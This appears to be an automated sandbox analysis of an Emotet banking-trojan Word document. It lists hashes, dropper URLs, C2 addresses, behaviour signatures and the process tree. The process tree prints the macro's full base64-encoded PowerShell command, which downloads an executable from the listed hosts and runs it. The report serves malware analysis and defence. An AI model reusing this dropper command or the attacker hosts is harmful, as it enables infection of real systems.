Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    108s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    17/08/2020, 07:20

Sharing

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General

  • Target
    emotet_e1_0054571d21ae92fccf7ce3c754965400f9e4f550f2f898057d4df9b1b082b65c_2020-08-17__071916._doc.doc
  • Size 227KB
  • Sample200817-k3cfhetnhs
  • SHA256 0054571d21ae92fccf7ce3c754965400f9e4f550f2f898057d4df9b1b082b65c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://gh.xahpyy120.com/phpmyadmin/doc/fPJxu81Tt/
  • exe.dropper

    http://ocelliptigo.com/undrag/FRg446071/
  • exe.dropper

    http://megasolucoesti.com/R9KDq0O8w/HBh300/
  • exe.dropper

    http://raiseways.com/wp-content/XwZGZ94507/
  • exe.dropper

    http://m.sxhpzyy120.com/kfal/hKIpdkhdqU/

Extracted

Family

  • emotet

C2

  • 174.100.27.229:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 192.241.146.84:8080

  • 95.9.180.128:80

  • 77.55.211.77:8080

  • 85.105.140.135:443

  • 45.33.77.42:8080

  • 77.90.136.129:8080

  • 94.176.234.118:443

  • 190.163.31.26:80

  • 190.6.193.152:8080

  • 190.181.235.46:80

  • 81.198.69.61:80

  • 188.2.217.94:80

  • 114.109.179.60:80

  • 83.169.21.32:7080

  • 137.74.106.111:7080

  • 212.231.60.98:80

  • 170.81.48.2:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0054571d21ae92fccf7ce3c754965400f9e4f550f2f898057d4df9b1b082b65c_2020-08-17__071916._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1000
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaADQAOABhAGwAMgBqAD0AJwBHAGQAawB3AHAAYgBrACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAYABVAHIASQBgAFQAWQBwAHIAYABvAFQAbwBDAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFQAbQA3AGYAeABzAG4AIAA9ACAAJwBKAGcAdwBzACcAOwAkAE8AYQBnAHYANAA3ADAAPQAnAEkAdwByAHcAZQAyAGQAJwA7ACQAWgA1AGYAawB5ADcAcgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFQAbQA3AGYAeABzAG4AKwAnAC4AZQB4AGUAJwA7ACQAWQBiAGYAagB2ADUAYgA9ACcAUAA3AGgAegBjAHUAOAAnADsAJABGAGwAbAAxADgAMQBsAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMAbABpAGUAbgB0ADsAJABNAGsAcgB6ADAAaQAzAD0AJwBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AZABvAGMALwBmAFAASgB4AHUAOAAxAFQAdAAvACoAaAB0AHQAcAA6AC8ALwBvAGMAZQBsAGwAaQBwAHQAaQBnAG8ALgBjAG8AbQAvAHUAbgBkAHIAYQBnAC8ARgBSAGcANAA0ADYAMAA3ADEALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBzAG8AbAB1AGMAbwBlAHMAdABpAC4AYwBvAG0ALwBSADkASwBEAHEAMABPADgAdwAvAEgAQgBoADMAMAAwAC8AKgBoAHQAdABwADoALwAvAHIAYQBpAHMAZQB3AGEAeQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWAB3AFoARwBaADkANAA1ADAANwAvACoAaAB0AHQAcAA6AC8ALwBtAC4AcwB4AGgAcAB6AHkAeQAxADIAMAAuAGMAbwBtAC8AawBmAGEAbAAvAGgASwBJAHAAZABrAGgAZABxAFUALwAnAC4AIgBTAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAawAxADkAdwBsAGgAPQAnAFUAeABfAHgAeAB6AHIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAcwBiAGMAcQA2AGIAIABpAG4AIAAkAE0AawByAHoAMABpADMAKQB7AHQAcgB5AHsAJABGAGwAbAAxADgAMQBsAC4AIgBEAGAAbwB3AG4AbABPAGEAYABEAEYASQBsAGUAIgAoACQAQwBzAGIAYwBxADYAYgAsACAAJABaADUAZgBrAHkANwByACkAOwAkAFkAeABvAGgAegByAHIAPQAnAFoAeABfADgAegBqAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABaADUAZgBrAHkANwByACkALgAiAGwAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADAANgAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFoANQBmAGsAeQA3AHIAKQA7ACQAUgA1ADYAYQBmAGEAeAA9ACcAVAByADAANQBvADgANwAnADsAYgByAGUAYQBrADsAJABOADIAcABmAHoAZABsAD0AJwBaADAAXwBtAGwAMQB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAOAAwADcAeAB4ADMAPQAnAFQAbwAwAF8AdAA4AHYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Users\Admin\AppData\Local\Temp\Jgws.exe
      "C:\Users\Admin\AppData\Local\Temp\Jgws.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\SysWOW64\WiaExtensionHost64\cmd.exe
        "C:\Windows\SysWOW64\WiaExtensionHost64\cmd.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1988

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/920-23-0x000007FEE53B0000-0x000007FEE562A000-memory.dmp
        Download

        memory/1000-2-0x0000000009630000-0x0000000009634000-memory.dmp
        Download

        memory/1000-3-0x0000000007AE0000-0x0000000007CE0000-memory.dmp
        Download

        memory/1000-4-0x0000000007AE0000-0x0000000007CE0000-memory.dmp
        Download

        memory/1000-6-0x000000000BA80000-0x000000000BA84000-memory.dmp
        Download

        memory/1000-7-0x000000000CB00000-0x000000000CB04000-memory.dmp
        Download

        memory/1764-14-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1764-13-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1764-15-0x000000001B5D0000-0x000000001B5D1000-memory.dmp
        Download

        memory/1764-12-0x00000000025E0000-0x00000000025E1000-memory.dmp
        Download

        memory/1764-11-0x000000001AC20000-0x000000001AC21000-memory.dmp
        Download

        memory/1764-10-0x0000000002500000-0x0000000002501000-memory.dmp
        Download

        memory/1764-9-0x000007FEE9940000-0x000007FEEA32C000-memory.dmp
        Download

        memory/1944-19-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1988-22-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download